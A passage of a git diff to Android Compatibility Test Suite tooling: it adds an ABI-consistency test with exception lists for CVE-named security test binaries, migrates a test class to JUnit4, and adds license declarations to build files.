+        BINARY_EXCEPTIONS.add("CVE-2020-0038" + "64");
+        BINARY_EXCEPTIONS.add("CVE-2020-0039" + "64");
+
+        /**
+         * This binary is a host side helper, so we do not need to check it.
+         */
+        BINARY_EXCEPTIONS.add("sepolicy-analyze");
+    }
+
+    private static final String BINARY_EXCEPTIONS_REGEX [] = {
+        /**
+         * This regular expression matches any binary of the form 'CVE-xxxx-yyyyyy'.
+         * Hence this can be used for tests that build for either 32 bit or 64 bit only.
+         */
+        "^CVE-\\d{4}-.+$"
+    };
+
+    private static final String[] BINARY_SUFFIX_EXCEPTIONS = {
+        /**
+         * All STS test binaries rvc+ are in the form of *_sts32 or *_sts64.
+         *
+         * Many STS binaries are only feasible on a specific bitness so STS
+         * pushes the appropriate binary to compatible devices.
+         */
+        "_sts32", "_sts64",
+    };
+
+    /**
+     * Test that all apks have the same supported abis.
+     * Sometimes, if a module is missing LOCAL_MULTILIB := both, we will end up with only one of
+     * the two abis required and the second one will fail.
+     */
+    @Test
+    public void testApksAbis() {
+        String ctsRoot = System.getProperty("CTS_ROOT");
+        File testcases = new File(ctsRoot, "/android-cts/testcases/");
+        if (!testcases.exists()) {
+            fail(String.format("%s does not exists", testcases));
+            return;
+        }
+        File[] listApks = testcases.listFiles(new FilenameFilter() {
+            @Override
+            public boolean accept(File dir, String name) {
+                for (String apk : APK_EXCEPTIONS) {
+                    if (name.startsWith(apk)) {
+                        return false;
+                    }
+                }
+
+                return name.endsWith(".apk");
+            }
+        });
+        assertTrue(listApks.length > 0);
+        int maxAbi = 0;
+        Map<String, Integer> apkToAbi = new HashMap<>();
+
+        for (File testApk : listApks) {
+            AaptParser result = AaptParser.parse(testApk);
+            // Retry as we have seen flake with aapt sometimes.
+            if (result == null) {
+                for (int i = 0; i < 2; i++) {
+                    result = AaptParser.parse(testApk);
+                    if (result != null) {
+                        break;
+                    }
+                }
+                // If still couldn't parse the apk
+                if (result == null) {
+                    fail(String.format("Fail to run 'aapt dump badging %s'",
+                            testApk.getAbsolutePath()));
+                }
+            }
+            // We only check the apk that have native code
+            if (!result.getNativeCode().isEmpty()) {
+                List<String> supportedAbiApk = result.getNativeCode();
+                Set<String> buildTarget = AbiUtils.getAbisForArch(
+                        TestSuiteInfo.getInstance().getTargetArchs().get(0));
+                // first check, all the abis are supported
+                for (String abi : supportedAbiApk) {
+                    if (!buildTarget.contains(abi)) {
+                        fail(String.format("apk %s %s does not support our abis [%s]",
+                                testApk.getName(), supportedAbiApk, buildTarget));
+                    }
+                }
+                apkToAbi.put(testApk.getName(), supportedAbiApk.size());
+                maxAbi = Math.max(maxAbi, supportedAbiApk.size());
+            }
+        }
+
+        // We do a second pass to make sure nobody is short on abi
+        for (Entry<String, Integer> apk : apkToAbi.entrySet()) {
+            if (apk.getValue() < maxAbi) {
+                fail(String.format("apk %s only has %s abi when it should have %s", apk.getKey(),
+                        apk.getValue(), maxAbi));
+            }
+        }
+    }
+
+    /**
+     * Test that when CTS has multiple abis, we have binary for each ABI. In this case the abi will
+     * be the same with different bitness (only case supported by build system).
+     * <p/>
+     * If there is only one bitness, then we check that it's the right one.
+     */
+    @Test
+    public void testBinariesAbis() {
+        String ctsRoot = System.getProperty("CTS_ROOT");
+        File testcases = new File(ctsRoot, "/android-cts/testcases/");
+        if (!testcases.exists()) {
+            fail(String.format("%s does not exist", testcases));
+            return;
+        }
+        String[] listBinaries = testcases.list(new FilenameFilter() {
+            @Override
+            public boolean accept(File dir, String name) {
+                if (name.contains(".")) {
+                    return false;
+                }
+                if (BINARY_EXCEPTIONS.contains(name)) {
+                    return false;
+                }
+                for (String suffixException : BINARY_SUFFIX_EXCEPTIONS) {
+                    if (name.endsWith(suffixException)) {
+                        return false;
+                    }
+                }
+                File file = new File(dir, name);
+                if (file.isDirectory()) {
+                    return false;
+                }
+                if (!file.canExecute()) {
+                    return false;
+                }
+                for(String pattern: BINARY_EXCEPTIONS_REGEX) {
+                    Matcher matcher = Pattern.compile(pattern).matcher(name);
+                    if (matcher.matches()) {
+                        return false;
+                    }
+                }
+                return true;
+            }
+        });
+        assertTrue(listBinaries.length > 0);
+        List<String> orderedList = Arrays.asList(listBinaries);
+        // we sort to have binary starting with same name, next to each other. The last two
+        // characters of their name with be the bitness (32 or 64).
+        Collections.sort(orderedList);
+        Set<String> buildTarget = AbiUtils.getAbisForArch(
+                TestSuiteInfo.getInstance().getTargetArchs().get(0));
+        // We expect one binary per abi of CTS, they should be appended with 32 or 64
+        for (int i = 0; i < orderedList.size(); i=i + buildTarget.size()) {
+            List<String> subSet = orderedList.subList(i, i + buildTarget.size());
+            if (subSet.size() > 1) {
+                String base = subSet.get(0).substring(0, subSet.get(0).length() - 2);
+                for (int j = 0; j < subSet.size(); j++) {
+                    assertEquals(base, subSet.get(j).substring(0, subSet.get(j).length() - 2));
+                }
+            } else {
+                String bitness = AbiUtils.getBitness(buildTarget.iterator().next());
+                assertTrue(subSet.get(i).endsWith(bitness));
+            }
+        }
+    }
+}
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/tradefed/CtsTradefedTest.java b/tools/cts-tradefed/tests/src/com/android/compatibility/tradefed/CtsTradefedTest.java
index 5d5df59..8bab842 100644
--- a/tools/cts-tradefed/tests/src/com/android/compatibility/tradefed/CtsTradefedTest.java
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/tradefed/CtsTradefedTest.java
@@ -15,20 +15,27 @@
  */
 package com.android.compatibility.tradefed;
 
+import static org.junit.Assert.assertEquals;
+
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildProvider;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.config.OptionSetter;
 import com.android.tradefed.util.FileUtil;
 
-import junit.framework.TestCase;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
 
 import java.io.File;
 
 /**
  * Tests for cts-tradefed.
  */
-public class CtsTradefedTest extends TestCase {
+@RunWith(JUnit4.class)
+public class CtsTradefedTest {
 
     private static final String PROPERTY_NAME = "CTS_ROOT";
     private static final String SUITE_FULL_NAME = "Compatibility Test Suite";
@@ -38,20 +45,19 @@
 
     private String mOriginalProperty = null;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setUp() throws Exception {
         mOriginalProperty = System.getProperty(PROPERTY_NAME);
     }
 
-    @Override
-    protected void tearDown() throws Exception {
+    @After
+    public void tearDown() throws Exception {
         if (mOriginalProperty != null) {
             System.setProperty(PROPERTY_NAME, mOriginalProperty);
         }
-        super.tearDown();
     }
 
+    @Test
     public void testSuiteInfoLoad() throws Exception {
         // Test the values in the manifest can be loaded
         File root = FileUtil.createTempDir("root");
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/tradefed/CtsUnitTests.java b/tools/cts-tradefed/tests/src/com/android/compatibility/tradefed/CtsUnitTests.java
new file mode 100644
index 0000000..d989014
--- /dev/null
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/tradefed/CtsUnitTests.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.tradefed;
+
+import com.android.compatibility.common.tradefed.presubmit.ApkPackageNameCheck;
+import com.android.compatibility.common.tradefed.presubmit.CtsConfigLoadingTest;
+import com.android.compatibility.common.tradefed.presubmit.DupFileTest;
+import com.android.compatibility.common.tradefed.presubmit.PresubmitSetupValidation;
+import com.android.compatibility.common.tradefed.presubmit.ValidateTestsAbi;
+
+import org.junit.runner.RunWith;
+import org.junit.runners.Suite;
+import org.junit.runners.Suite.SuiteClasses;
+
+/**
+ * A test suite for all compatibility tradefed unit tests.
+ *
+ * <p>All tests listed here should be self-contained, and do not require any external dependencies.
+ */
+@RunWith(Suite.class)
+@SuiteClasses({
+    // base
+    CtsTradefedTest.class,
+
+    // presubmit
+    ApkPackageNameCheck.class,
+    CtsConfigLoadingTest.class,
+    DupFileTest.class,
+    PresubmitSetupValidation.class,
+    ValidateTestsAbi.class,
+})
+public class CtsUnitTests {
+    // Empty on purpose
+}
diff --git a/tools/device-setup/TestDeviceSetup/Android.bp b/tools/device-setup/TestDeviceSetup/Android.bp
index 86a4136..9d40bcb 100644
--- a/tools/device-setup/TestDeviceSetup/Android.bp
+++ b/tools/device-setup/TestDeviceSetup/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "TestDeviceSetup",
     defaults: ["cts_support_defaults"],
diff --git a/tools/manifest-generator/Android.bp b/tools/manifest-generator/Android.bp
index 9d6cdb8..e612335 100644
--- a/tools/manifest-generator/Android.bp
+++ b/tools/manifest-generator/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library_host {
     name: "compatibility-manifest-generator",
 
diff --git a/tools/manifest-generator/tests/Android.bp b/tools/manifest-generator/tests/Android.bp
index b8f012d..fd7a08e 100644
--- a/tools/manifest-generator/tests/Android.bp
+++ b/tools/manifest-generator/tests/Android.bp
@@ -12,13 +12,20 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "compatibility-manifest-generator-tests",
 
     srcs: ["src/**/*.java"],
 
-    libs: [
+    static_libs: [
         "compatibility-manifest-generator",
         "junit",
     ],
+    test_options: {
+        unit_test: true,
+    },
 }
diff --git a/tools/release-parser/Android.bp b/tools/release-parser/Android.bp
index b2582df..0159911 100644
--- a/tools/release-parser/Android.bp
+++ b/tools/release-parser/Android.bp
@@ -14,6 +14,10 @@
 
 // cts release-parser java library
 // ============================================================
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library_host {
     name: "release-parser",
 
diff --git a/tools/release-parser/tests/Android.bp b/tools/release-parser/tests/Android.bp
index 4f3c7e2..37827d3 100644
--- a/tools/release-parser/tests/Android.bp
+++ b/tools/release-parser/tests/Android.bp
@@ -14,6 +14,10 @@
 
 // cts release-parser java unit test library
 // ============================================================
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "release-parser-tests",
     srcs: [
@@ -28,4 +32,4 @@
 
     // Holds golden sample files in assets for validation
     java_resource_dirs: ["resources/"],
-}
\ No newline at end of file
+}
diff --git a/tools/utils/java-cert-list-generator.sh b/tools/utils/java-cert-list-generator.sh
index 1f33c4a..b69bec6 100755
--- a/tools/utils/java-cert-list-generator.sh
+++ b/tools/utils/java-cert-list-generator.sh
@@ -40,14 +40,12 @@
  */
 
 package android.security.cts;
-import android.platform.test.annotations.SecurityTest;
 
 /**
  * Run "./cts/tools/utils/java-cert-list-generator.sh >
  * cts/tests/tests/security/src/android/security/cts/CertificateData.java"
  * to generate this file.
  */
-@SecurityTest
 class CertificateData {
   static final String[] CERTIFICATE_DATA = {
 STARTCLASS
diff --git a/tools/vm-tests-tf/Android.bp b/tools/vm-tests-tf/Android.bp
index d44e5aa..c9b656a 100644
--- a/tools/vm-tests-tf/Android.bp
+++ b/tools/vm-tests-tf/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "cts-vmtests-dot",
     libs: [ "junit" ],
diff --git a/tools/vm-tests-tf/Android.mk b/tools/vm-tests-tf/Android.mk
index 44217ae..18449e1 100644
--- a/tools/vm-tests-tf/Android.mk
+++ b/tools/vm-tests-tf/Android.mk
@@ -22,6 +22,8 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_MODULE := cts-tf-dalvik-lib
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_CLASS := JAVA_LIBRARIES
 LOCAL_MODULE_TAGS := optional
 LOCAL_JAVA_LIBRARIES := junit
@@ -40,6 +42,8 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src build/src)
 
 LOCAL_MODULE := cts-tf-dalvik-buildutil
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_CLASS := JAVA_LIBRARIES
 LOCAL_MODULE_TAGS := optional
 
@@ -55,6 +59,8 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := vm-tests-tf
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_CLASS := JAVA_LIBRARIES
 LOCAL_MODULE_SUFFIX := $(COMMON_JAVA_PACKAGE_SUFFIX)
 LOCAL_IS_HOST_MODULE := true
diff --git a/tools/vm-tests-tf/TEST_MAPPING b/tools/vm-tests-tf/TEST_MAPPING
index a566107..4fbca3b 100644
--- a/tools/vm-tests-tf/TEST_MAPPING
+++ b/tools/vm-tests-tf/TEST_MAPPING
@@ -1,5 +1,5 @@
 {
-  "presubmit": [
+  "presubmit-large": [
     {
       "name": "vm-tests-tf"
     }
diff --git a/tools/vm-tests-tf/targetprep/Android.mk b/tools/vm-tests-tf/targetprep/Android.mk
index b87b08a..8de699b 100644
--- a/tools/vm-tests-tf/targetprep/Android.mk
+++ b/tools/vm-tests-tf/targetprep/Android.mk
@@ -23,6 +23,8 @@
 LOCAL_MODULE_TAGS := optional
 
 LOCAL_MODULE := compatibility-host-vm-targetprep
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts general-tests